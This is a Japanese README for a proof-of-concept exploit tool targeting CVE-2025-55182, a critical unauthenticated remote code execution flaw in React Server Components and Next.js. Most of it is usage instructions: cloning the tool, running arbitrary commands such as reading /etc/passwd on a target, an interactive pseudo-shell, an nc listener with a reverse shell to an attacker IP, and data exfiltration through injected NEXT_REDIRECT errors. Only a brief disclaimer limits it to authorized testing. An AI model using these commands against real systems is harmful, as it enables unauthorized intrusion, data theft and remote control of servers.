
CVE-2025-55182 React2Shell PoC - React Server Components / Next.js における重大な RCE(リモートコード実行)。CVSS 10.0。エラーベースのデータ外部漏えい、リバースシェル、インタラクティブモード対応。
CVE-2025-55182 に対する概念実証(PoC)です。これは、React Server Components における認証不要の重大なリモートコード実行(RCE)脆弱性です。
CVSS スコア: 10.0(Critical)
この脆弱性は、React の Flight プロトコルデシリアライザに存在します。特別に細工されたペイロードによるプロトタイプ汚染を悪用することで、攻撃者は脆弱な Next.js アプリケーション上で任意のコード実行を達成できます。
| 製品 | 影響を受ける | 修正済み |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
出力は NEXT_REDIRECT エラーを介して HTTP レスポンス内に直接返されます。コールバックサーバーは不要です。
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
python3 react2shell-poc.py -t http://TARGET:3000 -i
python3 react2shell-poc.py -t http://TARGET:3000 --check
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
# Start listener
nc -lvnp 4444
# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
-t, --target Target URL (required)
-c, --command Command to execute (output via error-based exfil by default)
--check Check if target is vulnerable
--blind Blind RCE mode (no output capture)
--listen Use callback server instead of error-based exfil
-i, --interactive Interactive pseudo-shell mode
--revshell Attempt reverse shell
--lhost Attacker IP for callbacks/reverse shell
--lport Callback port (default: 9999)
--callback Manual callback URL
--timeout Request timeout in seconds (default: 30)
デフォルトの外部送信方法は、NEXT_REDIRECT エラー注入 を使用します。
digest フィールドに含めた NEXT_REDIRECT エラーをスローするこれは、ターゲットからの外向きネットワークアクセスを必要としないため、コールバックベースの外部送信よりも信頼性が高くなります。
このツールは、許可されたセキュリティテストおよび教育目的にのみ 使用してください。コンピュータシステムへの不正アクセスは違法です。テストを行う前に必ず適切な許可を取得してください。
p3ta